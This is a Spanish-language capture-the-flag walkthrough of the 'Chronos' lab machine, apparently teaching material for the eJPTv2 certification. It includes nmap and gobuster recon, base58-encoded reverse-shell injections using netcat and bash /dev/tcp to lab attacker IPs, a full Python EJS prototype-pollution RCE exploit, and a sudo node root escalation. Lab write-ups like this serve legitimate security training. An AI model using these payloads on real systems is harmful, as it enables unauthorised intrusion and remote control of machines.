# Máquina Chronos A partir de ahora usaremos esta guía que es la cheatsheet para la ejptv2 (Junior Penetration Tester), les dejo un tiempo para que le echen un vistazo y ajusten su chuleta a los procedimientos dados, verán que mucho ya les suena: https://sezioss-gitbook.gitbook.io/ejptv2cheatsheet/ Se supone que primero exploramos la red, dejamos esa tarea libre. Yo resumiré y haré el clásico: nmap -sP ipred/mask Si aún no tengo claro el objetivo: nmap -Pn ipred/mask -oN 1.Escaneodepuertos Ahí por los servicios abiertos ya más o menos sabré la ip del objetivo. Para no llamar la atención nmap -p- -T1 ipobj (no lo hacemos así porque me tardaría mucho) nmap -p- -T1 ipobj vemos que está abierto un ssh un http y http-alt Vamos a ver la versión de los servicios solo en los puertos que sé que hay servicios nmap -sV -sC -p22,80,8000 ipobj nmap -sV -sC -p22,80,8000 10.0.2.12 -oN 2.VersionesScripts Comenta qué significa todo lo devuelto. Entramos en la web y vemos que hay un código js que no vemos que se esté ejecutando y una llamada a un script loadDoc() Por lo pronto sabemos que hay una web con js y un entorno express.js. Vamos a analizar con dirb y gobuster, en el caso del último: gobuster dir --url http://10.0.2.12/ --wordlist /usr/share/wordlists/dirb/common.txt Investiga qué esta haciendo gobuster. No parece que haya nada interesante. Probamos con otro diccionario: gobuster dir --url http://10.0.2.12/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt Hasta menos que lo anterior busquemos por extensiones: gobuster dir --url http://10.0.2.12/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php Nada! Probemos en el puerto 8000 VVemos que nos sale una carpeta /date ç Veamos la carpeta en el navegador, vemos que hay un script que no se ejecuta. Vamos al navegador devtools y vamos a network y vemos que tenemos un dominio que es el que está fallando, nano /etc/hosts ![image](https://hackmd.io/_uploads/rywzoBFc6.png) Si modificamos esto y entramos en la web veremos ahora que se ejecuta el scritp: ![image](https://hackmd.io/_uploads/Hk0JawR9T.png) Sale la fecha, vamos a abrir burpsuite y a interceptar ese script: ![image](https://hackmd.io/_uploads/BJxiTvAcp.png) Evidentemente se pasa un script encriptado, voy a la web de CyberChef y con el filtro "magic" intento que me averigue la codificación: ![image](https://hackmd.io/_uploads/BJASRvAcT.png) Es base58, lo que voy a hacer es buscar un payload que me haga una revershell e inyectarlo en este código: Vamos a comprobar una nueva web que tienen muchísimos recursos para hacking ético y ciber seguridad. https://swisskyrepo.github.io/PayloadsAllTheThings/ Probamos con netcat openbsd porque es uno de los genéricos para inyectar revershell: https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#netcat-openbsd Ponemos nuestro kali en escucha: nc -lvvp 4242 Codificamos y dependiendo de los datos de nuestra configuración, en mi caso mi máquina atacante es 10.0.2.15 rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.15 4242 >/tmp/f o '+Today is %A, %B %d, %Y %H:%M:%S.';bash -c 'bash -i >& /dev/tcp/10.0.2.5/8020 0>&1' Lo ponemos a codificar a base58: ![image](https://hackmd.io/_uploads/SyME7uR5a.png) HPLJbWYMFkC6pEwu8UJYwiNkXX1DfpNRvhc1LqEcNAEJq5koW4dhK4MwdtP9tnZZZq7RUoX72yyBQxexjFrZYCQFpnmFd5nkbKDMhoG8tLeH Ponemos el código a filtrar y le damos a forward para ver si funciona la shell: ![image](https://hackmd.io/_uploads/SkG97O09T.png) Ha funcionado sin problemas, hago un whoami y ahora nos quedaría hacer escalada de privilegios: ![image](https://hackmd.io/_uploads/H1VnE_Ccp.png) ##Escalada de privilegios Lo primero es pasar a una terminal normal a una interactiva que nos permita trabajar mejor. https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys Vamos a intentarlo en python. Compruebo si tengo instalado el python: which python En este caso veremos que está instalado así que: python3 -c 'import pty;pty.spawn("/bin/bash");' Vemos que ahora sí tenemos una shell interactiva y cómoda para trabajar. ![image](https://hackmd.io/_uploads/r1GEvOR96.png) Después exportamos la terminal para poder hacerla totalmente funcional: export TERM=xterm Ahora ya podríamos seguir todos los pasos de la escalada de privilegios: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist Cómo ves eso es demasiado para comprobar por lo que en general usaremos los materiales de la certificación o el resumen del libro de Hacking ético subido al campus: https://sezioss-gitbook.gitbook.io/ejptv2cheatsheet/extra-but-important/privesc En este caso lo primero que haremos será mirar el contenido de nuestra carpeta y ver qué usuario tenemos Miramos el código de app.js y vemos que es la aplicación que se ejecuta y que muestra el reloj. Podemos ver el package.json y veremos cosas interesantes como la versión del express que se usa (de hecho no lo haremos así pero hay otra solución que explota esta versión concreta de express) Así que vamos a mirar si podemos movernos de carpeta con este usuario. Vemos que sí y que en /home tenemos un usuario imera, entramos en esa carpeta y vemos un archivo user.txt ![image](https://hackmd.io/_uploads/BJ_Hkjksp.png) Pero si intentamos leerlo no tenemos permiso. Tenemos que elevar privilegios así que seguimos explorando, vamos a la carpeta del servidor web. En principio nada intereante. Comprobamos los servicios: netstat -lnt y vemos que hay un segundo servidor ejecutándose en esta máquina: ![image](https://hackmd.io/_uploads/ryUfgi1jp.png) Los servidores normalmente se guardan en la carpeta opt así que vamos y efectivamente, hay dos servidores: ![image](https://hackmd.io/_uploads/H1Xtxjkoa.png) Entramos al servidor y vemos que hay un frontend y un backend, entramos al backend que suele ser el más interesante y aquí al entrar al packaje.json vemos que hay un: ![image](https://hackmd.io/_uploads/rkOGbjks6.png) Vamos al kali y buscamos si esta versión que nos permite subir ficheros al servidor es vulnerable. Naaa...en principio nadita ![image](https://hackmd.io/_uploads/Hyx1zj1op.png) Pero no desistimos y buscamos en google. ![image](https://hackmd.io/_uploads/rknCzjys6.png) Parece que hay uno: https://dev.to/boiledsteak/simple-remote-code-execution-on-ejs-web-applications-with-express-fileupload-3325 Copiamos el código en un fichero exploit.py en la carpeta donde estemos haciendo el análisis y lo modificamos para que ejecute código en el servidor conéctándose a la máquina atacante. ``` ############################################################## # Run this .py to perform EJS-RCE attack # referenced from # https://blog.p6.is/Real-World-JS-1/ # # Timothy, 10 November 2020 ############################################################## ### imports import requests ### commands to run on victim machine cmd = 'bash -c "bash -i &> /dev/tcp/10.0.2.15/8020 0>&1"' print("Starting Attack...") ### pollute requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")}) ### execute command requests.get('http://127.0.0.1:8080') print("Finished!") ``` Tenemos que pasar este fichero a la máquina víctima. En nuestro kali montamos un pequeño server con python: python3 -m http.server 8080 ![image](https://hackmd.io/_uploads/By5qBiJi6.png) No da este error y es porque tenemos ejecutándoseel burpsuite en el mismo puerto! lo paramos y ya tira. ![image](https://hackmd.io/_uploads/SyaxLjkip.png) En la víctima nos movemos a tmp que es una carpeta en la que usualmente no vamos a tener problemas de permisos. www-data@chronos:/tmp$ wget http://10.0.2.15:8080/exploit.py ![image](https://hackmd.io/_uploads/SJ0q8okjp.png) Tenemos que intentar dar permisos de ejecución: chmod 777 exploit.py Por suerte nos ha dejado sin problemas. En el kali abro una nueva conexión al puerto indicado: nc -lvvp 8020 Ejecutamos en la víctima el exploit: python3 exploit.py Vemos que ha funcionado y que tenemos sesión con el usuario imera ![image](https://hackmd.io/_uploads/ryk_OoJoa.png) Vamos a la carpeta del usuario a ver si ahora podemos leer el archivo user.txt y efectivamente. ![image](https://hackmd.io/_uploads/Skmbtoyja.png) byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK Imera no es root. así que hacemos sudo -l ![image](https://hackmd.io/_uploads/r1qPtiJsp.png) Vemos que imera tiene permisos de ususario para ejecutar node: Nos vamos a gtfobins y buscamos un script de sudo con node https://gtfobins.github.io/gtfobins/node/#sudo sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' Nos vamos a la carpeta root y encontramos la segunda bandera: ![image](https://hackmd.io/_uploads/HJS9sikj6.png)